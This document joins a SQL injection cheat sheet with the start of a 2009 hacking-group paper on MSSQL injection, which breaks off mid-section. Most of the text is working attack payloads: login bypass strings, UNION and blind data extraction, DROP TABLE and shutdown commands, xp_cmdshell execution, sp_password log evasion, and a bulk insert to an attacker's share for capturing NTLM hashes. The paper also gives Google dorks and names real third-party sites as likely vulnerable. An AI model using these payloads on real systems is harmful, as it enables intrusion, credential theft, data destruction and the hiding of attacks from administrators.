Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL.
Most of samples are not correct for every single situation. Most of the
real world environments may change because of parenthesis, different
code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential
attack and almost every section includes a brief information about
itself.
M :
MySQL
S :
SQL Server
P :
PostgreSQL
O :
Oracle
+ :
Possibly all other databases
Examples;
(MS) means : MySQL and SQL Server etc.
(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
Username:admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/ (SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL */ (M) This is a special comment syntax for MySQL. It’s
perfect for detecting MySQL version. If you put a code into this
comments it’s going to execute in MySQL only. Also you can use this to
execute some code only if the server is higher than supplied version.
ID:10; DROP TABLE members /* Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
ID:/*!32302 10*/
ID:10 You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
; (S) SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
SQL Server
MySQL
PostgreSQL
ORACLE
MS Access
ASP
ASP.NET
PHP
Java
About MySQL and PHP;
To clarify some issues; PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
ID:10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP membersSQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
IF conditiontrue-part ELSE false-part (S) IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S) This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM) You can write hex like these;
SELECT CHAR(0x66) (S) SELECT 0x5045(this is not an integer it will be a string from Hex) (M) SELECT 0x50 + 0x45(this is integer now!) (M)
String Operations
String related operations. These can be quite useful to
build up injections which are not using any quotes, bypass any other
black listing or determine back end database.
String Concatenation
+ (S) SELECT login + '-' + password FROM members
|| (*MO) SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL
accept it as `logical operator` it’ll return 0. Better way to do it is
using CONCAT() function in MySQL.
CONCAT(str1, str2, str3, ...) (M) Concatenate supplied strings. SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
0x457578 (M) - Hex Representation of string SELECT 0x457578 This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this; SELECT CONCAT('0x',HEX('c:\\boot.ini'))
Using CONCAT() in MySQL SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) This will return ‘KLM’.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) This will show the content of c:\boot.ini
String Modification & Related
ASCII() (SMP) Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
SELECT ASCII('a')
CHAR() (SM) Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members This will combine results from both news table and members table and return all of them.
Another Example : ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
SQL Server (S)
Use fieldCOLLATESQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M) Hex()for every possible issue
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....
Login as different user (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens
If application is first getting the record by username
and then compare returned MD5 with supplied password's MD5 then you
need to some extra tricks to fool application to bypass authentication.
You can union results with a known password and MD5 hash of supplied
password. In this case application will compare your password and your
supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username :admin Password :1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --and so on
If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY(MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N--so on
Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
Be careful in Blind situtaions may you can understand error is
coming from DB or application itself. Because languages like ASP.NET
generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
' union select sum(columntofind) from users-- (S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting error it means column is numeric.
Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! Sostart withconvert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant.
You can just select it like any other column, you don't need to supply
table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
Create table foo( line varchar(8000) )
bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function. bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell 'ping <ip address>'
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
Error Messages master..sysmessages
Linked Servers master..sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)
When you really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially
dangerous stored procedures are disabled in SQL Server 2005. If you
have admin access then you can enable these.
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)
Modify WHERE and use NOT IN or NOT EXIST, ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- very good one
Using Dirty Tricks SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from
(SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE
i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i
WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE
o.xtype = 'U') as p where p.x=21
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':'
SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM
sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd
into TMP_SYS_TMP end;--
In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code Totally Blind, You can not see any difference in the
output in any kind. This can be an injection a logging function or
similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL
Injection tool while exploiting SQL Server back ended application and
enumerating table names. This requests done for first char of the first
table name. SQL queries a bit more complex then requirement because of
automation reasons. In we are trying to determine an ascii value of a
char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID
= 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well known way is reading data bit by bit. Both can be
effective in different conditions.
Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.
WAIT FOR DELAY 'time' (S)
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
Are we 'sa' ? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
Are we root ? woot! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
Check Table exist in MySQL IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
SELECT pg_sleep(10); Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security
reasons(!). So if you add --sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo’%2b’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x
Some Extra MySQL Notes
Sub Queries are working only MySQL 4.1+
Users
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT
IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0)
User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO DUMPFILE
Write query into a new file (can not modify existing files)
UDF Function
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
COMPRESS() Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION() Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it's
unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's
Windows password of target server, but possibly you inbound connection
will be firewalled. Can be very useful internal penetration tests. We
force SQL Server to connect our Windows UNC Share and capture data NTLM
session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S) bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
Check out Bulk Insert Reference to understand how can you use bulk insert.
References
Since these notes collected from several different sources
within several years and personal experiences, may I missed some
references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.
I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and
some of undocumented tricks in here. They will be available soon I
hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).
|=--------------------------------------------------------------------=|
|=----------------=[ Full MSSQL Injection PWNage ]=-----------------=|
|=-----------------------=[ 28 January 2009 ]=------------------------=|
|=---------------------=[ By CWH Underground ]=---------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / www.citec.us
Date : 2009-01-28
##########
Contents
##########
[0x00] - Introduction
[0x01] - Know the Basic of SQL injection
[0x01a] - Introduction to SQL Injection Attack
[0x01b] - How to Test sites that are Vulnerable in SQL Injection
[0x01c] - Bypass Authentication with SQL Injection
[0x01d] - Audit Log Evasion
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites
[0x02] - MSSQL Normal SQL Injection Attack
[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
[0x02b] - ODBC Error Message Attack with "CONVERT"
[0x02c] - MSSQL Injection with UNION Attack
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)
[0x03] - MSSQL Blind SQL Injection Attack
[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
[0x03b] - Determine data through Blind SQL Injection
[0x03c] - Exploit Query for get Table name
[0x03d] - Exploit Query for get Column name
[0x04] - More Dangerous SQL Injection Attack
[0x04a] - Dangerous from Extended Stored Procedures
[0x04b] - Advanced SQL Injection Techniques
[0x04c] - Mass MSSQL Injection Worms
Welcome reader, this paper is a short attempt at documenting a practical technique
we have been working on. This papers will guide about technique that allows the attackers
(us) gaining access into the process of exploiting a website via SQL Injection Techniques
that we focused on MSSQL only
This paper is divided into 8 sections but only from section 0x01 to 0x06
are about technical information.
Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which
are classified into two types, normal and blind. Section 0x02, we give a detail of each way
attacking through SQL injection. Section 0x03, we explain the way to enumerate data through
blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur
through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.
Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.
##########################################
[0x01] - Know the Basic of SQL injection
##########################################
SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL
(Structured Query Language) commands. Typically executed through the web application front end (use interface,
form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized
execution of SQL commands on the database server.
++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Introduction to SQL Injection Attack
++++++++++++++++++++++++++++++++++++++++++++++++
SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query
in order to alter the outcome of the query. Take the example of an application that requests a user id
for authentication. The application adds this user ID to a predefined SQL query to perform authentication.
However, if instead of providing a valid user name the attacker inputs a specialized SQL command
that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this
way the attacker can execute any SQL command on the host system without even needing to log in.
A successful SQL injection exploit can read sensitive data from the database, modify database data
(Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover
the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.
An application is vulnerable to SQL injection attack when:
- User input is incorrectly filtered for string literal escape characters embedded in SQL statements.
- User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute
in an unexpected manner
SQL Injection always occur in application that needs to talk to a Database include:
- Authentication forms (Login Pages)
- Search forms
- E-Commerce sites
- Forum / Webboard
- Content Manage System (CMS's that use DB),Such as:
Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)
Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)
Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01b] - How to Test sites that are vulnerable in SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
We must make a list of all input fields whose values could be used in crafting a SQL query,
including the hidden fields of POST requests and then test them separately, trying to interfere with
the query and to generate an error. The very first test usually consists of adding a single quote (')
, double quote ("") or a semicolon (;) to the field under test.
It's vulnerable in SQL injection,If the output some error like this:
[HTTP Response]-----------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/news.asp, line 52
[End HTTP Response]-------------------------------------------------------------------------
Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:
If contains is the different as original URL that dump all data
from database, It's vulnerable in SQL injection.
That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),
It's return all query from DB, Why ??
[ASP_code]
var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
[End ASP_code]
[Final query //id=2]
SELECT * FROM news WHERE id = '2' // It's will return News 2
[End id=2]
[Final query //id=2' or 'a'='a] // Testing SQLi Vuln
SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE,
// So It will return all news (id=1,2,3,...)
[End id=2' or 'a'='a]
++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01c] - Bypass Authentication with SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++
This basic technique for "bypass Login" when application use DB to checking authentication.
However, an attacker may possibly bypass this check with SQL injection.
[Example scripts]
+-----------------------------+
| ' or 1=1 -- |
| a' or 1=1 -- |
| " or 1=1 -- |
| a" or 1=1 -- |
| ' or 1=1 # |
| " or 1=1 # |
| or 1=1 -- |
| ' or 'x'='x |
| " or "x"="x |
| ') or ('x'='x |
| ") or ("x"="x |
| ' or username LIKE '%admin% |
+-----------------------------+
| USERNAME: ' or 1/* |
| PASSWORD: */ =1 -- |
+-----------------------------+
| USERNAME: admin' or 'a'='a |
| PASSWORD: '# |
+-----------------------------+
[Login ASP_code]----------------------------------------------------------------------------
var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
[End Login ASP_code]------------------------------------------------------------------------
When we input something like this:
formusr = admin
formpwd = ' or 'a='a
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
[End Code]----------------------------------------------------------------------------------
This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)
If we input something like this
formusr = ' or 1=1 --
formpwd = anything
[SQL Query]---------------------------------------------------------------------------------
SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
[End Code]----------------------------------------------------------------------------------
** Note **
-- is comment operator of MSSQL DB used to comment out everything following this operator.
/*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.
If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then
you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash
of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
formusr = admin
formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72
When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's happen ?
The technique for evade logging, We use "sp_password"
formusr = ' or 1=1 -- sp_password
formpwd = anything
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries
it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).
The Good way to searching sites that have SQL injection vulnerability is "Google"
(That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for
searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":
Insert Dork:index.asp?sid=
Total Query Pages (10 Links/Pages) :5
[+] Result:
http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!
############################################
[0x02] - MSSQL Normal SQL Injection Attack
############################################
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
We can use information from error message produced by the MS SQL Server to get almost any data we want.
- "GROUP BY" is a microsoft sql server command used to group output of particular sql query.
- "HAVING" is a command used to specify a search condition for a group or an aggregate.
this command is always used with "GROUP BY" otherwise the error will return.
As the operation of these two commands, we can take advantage of them in order to
obtain particular table name and all column names of this table. We will explain you by using an example.
First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author and news_detail.
The vulnerable page is http://www.example.com/page.asp?id=1
The query in this page is something like
[Query]-----------------------------------------------------------------------------
var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";
[End query]-------------------------------------------------------------------------
So, we can inject HAVING command in order to observe returned error
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' HAVING 1=1--'
We will get the error as following:
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
In this error, we know table name = "news", used in this page and
one column name = "news_id", contained in particular table.
The error is originate from using HAVING command without GROUP BY command.
Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'
We will get the error
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
Now, we know the second column name of table1 = "news_author". The third column name can be obtained
by adding the second column name in the previous query
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'
The request will generate following error
------------------------------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
------------------------------------------------------------------------------------
The third column name = "news_detail", pops up in returned error. If we had more columns,
we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.
When we added all of column in GROUP BY clause, we will get normal result and
we absolutely know that we obtained all column name in table1.
As this example, the request below will generate no error.
[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--
[End SQLi]--------------------------------------------------------------------------
The query will be
SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'
As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".
++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x02b] - ODBC Error Message Attack with "CONVERT"
++++++++++++++++++++++++++++++++++++++++++++++++++++
